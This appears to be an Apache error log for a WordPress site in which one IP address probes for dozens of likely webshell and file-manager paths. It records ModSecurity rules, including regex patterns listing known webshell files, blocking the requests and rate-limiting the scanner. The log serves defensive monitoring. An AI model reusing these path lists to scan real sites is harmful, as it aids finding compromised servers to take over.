[Sat Apr 11 01:15:35.808033 2026] [:error] [pid 21569:tid 21652] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Sat Apr 11 01:15:35.985402 2026] [:error] [pid 21569:tid 21664] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Sat Apr 11 01:15:36.176519 2026] [:error] [pid 21569:tid 21649] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat Apr 11 01:15:36.349868 2026] [:error] [pid 21569:tid 21645] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sat Apr 11 01:15:36.519994 2026] [:error] [pid 21569:tid 21680] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sat Apr 11 01:15:36.694251 2026] [:error] [pid 21569:tid 21646] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Sat Apr 11 01:15:36.867576 2026] [:error] [pid 21569:tid 21647] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Sat Apr 11 01:15:37.049105 2026] [:error] [pid 21569:tid 21659] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sat Apr 11 01:15:38.709400 2026] [:error] [pid 21569:tid 21659] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sat Apr 11 01:15:38.880800 2026] [:error] [pid 21569:tid 21652] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Sat Apr 11 01:15:41.309977 2026] [:error] [pid 21569:tid 21656] [client 84.233.212.69:58362] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adkwPXAvQTgvXJ6vHoqHHQAAAIs"]
[Sat Apr 11 01:15:42.165013 2026] [:error] [pid 21568:tid 21585] [client 84.233.212.69:53774] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adkwPoiz5v_ljZxkpR-uogAAAQ0"]
[Sat Apr 11 01:15:43.031019 2026] [:error] [pid 21706:tid 21711] [client 84.233.212.69:53870] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sat Apr 11 01:15:43.561529 2026] [:error] [pid 21706:tid 21728] [client 84.233.212.69:53870] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adkwPyGQ1M5d8fQSsLGC8AAAABQ"]
[Sat Apr 11 01:15:44.263422 2026] [:error] [pid 21569:tid 21655] [client 84.233.212.69:54058] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sat Apr 11 01:15:44.436707 2026] [:error] [pid 21569:tid 21651] [client 84.233.212.69:54058] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "adkwQHAvQTgvXJ6vHoqHOQAAAIY"]
[Sat Apr 11 01:15:44.970705 2026] [:error] [pid 21569:tid 21678] [client 84.233.212.69:54128] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Sat Apr 11 01:15:45.832379 2026] [:error] [pid 21569:tid 21654] [client 84.233.212.69:54128] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "adkwQXAvQTgvXJ6vHoqHSQAAAIk"]
[Sat Apr 11 01:15:46.349386 2026] [:error] [pid 21569:tid 21649] [client 84.233.212.69:43736] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "adkwQnAvQTgvXJ6vHoqHSwAAAIQ"]
[Sat Apr 11 01:15:46.692246 2026] [:error] [pid 21568:tid 21587] [client 84.233.212.69:43794] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "adkwQoiz5v_ljZxkpR-uzQAAAQ8"]
[Sat Apr 11 01:15:47.034260 2026] [:error] [pid 21706:tid 21730] [client 84.233.212.69:43840] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "adkwQyGQ1M5d8fQSsLGDKwAAABY"]
[Sat Apr 11 01:15:47.371814 2026] [:error] [pid 21568:tid 21592] [client 84.233.212.69:43852] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "adkwQ4iz5v_ljZxkpR-u1gAAARQ"]
[Sat Apr 11 01:15:47.711154 2026] [:error] [pid 21570:tid 21694] [client 84.233.212.69:43896] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "adkwQzKs5t9xRSNL6cmvrgAAAFQ"]
[Sat Apr 11 01:15:48.218391 2026] [:error] [pid 21569:tid 21660] [client 84.233.212.69:43936] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "adkwRHAvQTgvXJ6vHoqHVgAAAI4"]
[Sat Apr 11 01:15:48.560524 2026] [:error] [pid 21570:tid 21681] [client 84.233.212.69:44000] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Sat Apr 11 01:15:48.903299 2026] [:error] [pid 21570:tid 21689] [client 84.233.212.69:44000] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "adkwRDKs5t9xRSNL6cmvuAAAAE8"]
[Sat Apr 11 01:15:49.591647 2026] [:error] [pid 21569:tid 21660] [client 84.233.212.69:44078] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "adkwRXAvQTgvXJ6vHoqHYQAAAI4"]
[Sat Apr 11 01:15:50.108484 2026] [:error] [pid 21570:tid 21695] [client 84.233.212.69:44178] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "adkwRjKs5t9xRSNL6cmvxQAAAFU"]
[Sat Apr 11 01:15:50.452442 2026] [:error] [pid 21706:tid 21714] [client 84.233.212.69:44220] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Sat Apr 11 01:15:50.619820 2026] [:error] [pid 21706:tid 21729] [client 84.233.212.69:44220] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "adkwRiGQ1M5d8fQSsLGDhwAAABU"]
[Sat Apr 11 01:15:50.960336 2026] [:error] [pid 21570:tid 21682] [client 84.233.212.69:44284] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Sat Apr 11 01:15:51.478286 2026] [:error] [pid 21570:tid 21677] [client 84.233.212.69:44284] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Sat Apr 11 01:15:52.002744 2026] [:error] [pid 21570:tid 21696] [client 84.233.212.69:44284] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "adkwSDKs5t9xRSNL6cmv2wAAAFY"]
[Sat Apr 11 01:15:52.341607 2026] [:error] [pid 21706:tid 21730] [client 84.233.212.69:44410] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Sat Apr 11 01:15:52.510346 2026] [:error] [pid 21706:tid 21722] [client 84.233.212.69:44410] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "adkwSCGQ1M5d8fQSsLGDqAAAAA4"]
[Sat Apr 11 01:15:52.850105 2026] [:error] [pid 21570:tid 21679] [client 84.233.212.69:44450] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Sat Apr 11 01:15:53.191530 2026] [:error] [pid 21570:tid 21673] [client 84.233.212.69:44450] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "adkwSTKs5t9xRSNL6cmv5gAAAEY"]
[Sat Apr 11 01:15:53.697413 2026] [:error] [pid 21706:tid 21714] [client 84.233.212.69:44540] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "adkwSSGQ1M5d8fQSsLGDuQAAAAY"]
[Sat Apr 11 01:15:54.209769 2026] [:error] [pid 21568:tid 21572] [client 84.233.212.69:44596] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Sat Apr 11 01:15:54.381915 2026] [:error] [pid 21568:tid 21595] [client 84.233.212.69:44596] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Sat Apr 11 01:15:54.735605 2026] [:error] [pid 21568:tid 21590] [client 84.233.212.69:44596] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "adkwSoiz5v_ljZxkpR-vDgAAARI"]
[Sat Apr 11 01:15:55.257923 2026] [:error] [pid 21570:tid 21673] [client 84.233.212.69:44692] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "adkwSzKs5t9xRSNL6cmwBQAAAEY"]
[Sat Apr 11 01:15:55.768146 2026] [:error] [pid 21570:tid 21685] [client 84.233.212.69:44732] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "adkwSzKs5t9xRSNL6cmwDwAAAEw"]
[Sat Apr 11 01:15:56.104743 2026] [:error] [pid 21706:tid 21712] [client 84.233.212.69:40028] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "adkwTCGQ1M5d8fQSsLGD7wAAAAQ"]
[Sat Apr 11 01:15:56.441880 2026] [:error] [pid 21706:tid 21715] [client 84.233.212.69:40092] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "adkwTCGQ1M5d8fQSsLGD8gAAAAc"]
[Sat Apr 11 01:15:57.122727 2026] [:error] [pid 21568:tid 21581] [client 84.233.212.69:40100] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Sat Apr 11 01:15:57.290961 2026] [:error] [pid 21568:tid 21574] [client 84.233.212.69:40100] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "adkwTYiz5v_ljZxkpR-vIAAAAQI"]
[Sat Apr 11 01:15:57.625662 2026] [:error] [pid 21570:tid 21695] [client 84.233.212.69:40162] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "adkwTTKs5t9xRSNL6cmwNwAAAFU"]
[Sat Apr 11 01:15:57.968999 2026] [:error] [pid 21568:tid 21572] [client 84.233.212.69:40182] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "adkwTYiz5v_ljZxkpR-vKAAAAQA"]
[Sat Apr 11 01:15:58.649314 2026] [:error] [pid 21568:tid 21581] [client 84.233.212.69:40208] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Sat Apr 11 01:15:58.994151 2026] [:error] [pid 21568:tid 21587] [client 84.233.212.69:40208] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Sat Apr 11 01:15:59.682053 2026] [:error] [pid 21568:tid 21596] [client 84.233.212.69:40208] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "adkwT4iz5v_ljZxkpR-vYwAAARg"]
[Sat Apr 11 01:16:00.551731 2026] [:error] [pid 21706:tid 21708] [client 84.233.212.69:40380] [client 84.233.212.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.233.212.69, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "adkwUCGQ1M5d8fQSsLGEGgAAAAA"]
[Sat Apr 11 01:16:00.724503 2026] [:error] [pid 21706:tid 21714] [client 84.233.212.69:40380] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Sat Apr 11 01:16:01.600078 2026] [:error] [pid 21706:tid 21718] [client 84.233.212.69:40380] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Sat Apr 11 01:16:01.771930 2026] [:error] [pid 21706:tid 21727] [client 84.233.212.69:40380] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Sat Apr 11 01:16:02.630332 2026] [:error] [pid 21706:tid 21719] [client 84.233.212.69:40380] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adkwUiGQ1M5d8fQSsLGESgAAAAs"]
[Sat Apr 11 01:16:03.143449 2026] [:error] [pid 21568:tid 21577] [client 84.233.212.69:40544] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Sat Apr 11 01:16:03.719394 2026] [:error] [pid 21568:tid 21577] [client 84.233.212.69:40544] [client 84.233.212.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.233.212.69, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "adkwU4iz5v_ljZxkpR-vtQAAAQU"]
[Sat Apr 11 01:16:05.559201 2026] [:error] [pid 21568:tid 21586] [client 84.233.212.69:40544] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "adkwVYiz5v_ljZxkpR-v2gAAAQ4"]
[Sat Apr 11 01:16:06.597575 2026] [:error] [pid 21568:tid 21579] [client 84.233.212.69:45068] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sat Apr 11 01:16:06.943613 2026] [:error] [pid 21568:tid 21586] [client 84.233.212.69:45068] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Sat Apr 11 01:16:07.293603 2026] [:error] [pid 21568:tid 21581] [client 84.233.212.69:45068] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "adkwV4iz5v_ljZxkpR-wBwAAAQk"]
[Sat Apr 11 01:16:07.637253 2026] [:error] [pid 21706:tid 21719] [client 84.233.212.69:45238] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sat Apr 11 01:16:08.169975 2026] [:error] [pid 21706:tid 21728] [client 84.233.212.69:45238] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Sat Apr 11 01:16:08.519524 2026] [:error] [pid 21706:tid 21712] [client 84.233.212.69:45238] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Sat Apr 11 01:16:08.864058 2026] [:error] [pid 21706:tid 21728] [client 84.233.212.69:45238] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Sat Apr 11 01:16:10.701752 2026] [:error] [pid 21706:tid 21728] [client 84.233.212.69:45238] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adkwWiGQ1M5d8fQSsLGE2wAAABQ"]
[Sat Apr 11 01:16:11.052576 2026] [:error] [pid 21569:tid 21657] [client 84.233.212.69:45422] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Sat Apr 11 01:16:11.227791 2026] [:error] [pid 21569:tid 21659] [client 84.233.212.69:45422] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Sat Apr 11 01:16:11.398339 2026] [:error] [pid 21569:tid 21667] [client 84.233.212.69:45422] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "adkwW3AvQTgvXJ6vHoqIHAAAAJE"]
[Sat Apr 11 01:16:11.929556 2026] [:error] [pid 21568:tid 21591] [client 84.233.212.69:45546] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Sat Apr 11 01:16:12.270209 2026] [:error] [pid 21568:tid 21576] [client 84.233.212.69:45546] [client 84.233.212.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.233.212.69, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "adkwXIiz5v_ljZxkpR-wOwAAAQQ"]
[Sat Apr 11 01:16:12.441831 2026] [:error] [pid 21568:tid 21577] [client 84.233.212.69:45546] [client 84.233.212.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "adkwXIiz5v_ljZxkpR-wPAAAAQU"]
[Sat Apr 11 01:16:13.653606 2026] [:error] [pid 21570:tid 21668] [client 84.233.212.69:45696] [client 84.233.212.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "adkwXTKs5t9xRSNL6cmwqgAAAEM"]
[Sat Apr 11 01:16:13.991949 2026] [:error] [pid 21570:tid 21663] [client 84.233.212.69:45926] [client 84.233.212.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "adkwXTKs5t9xRSNL6cmwrQAAAEE"]
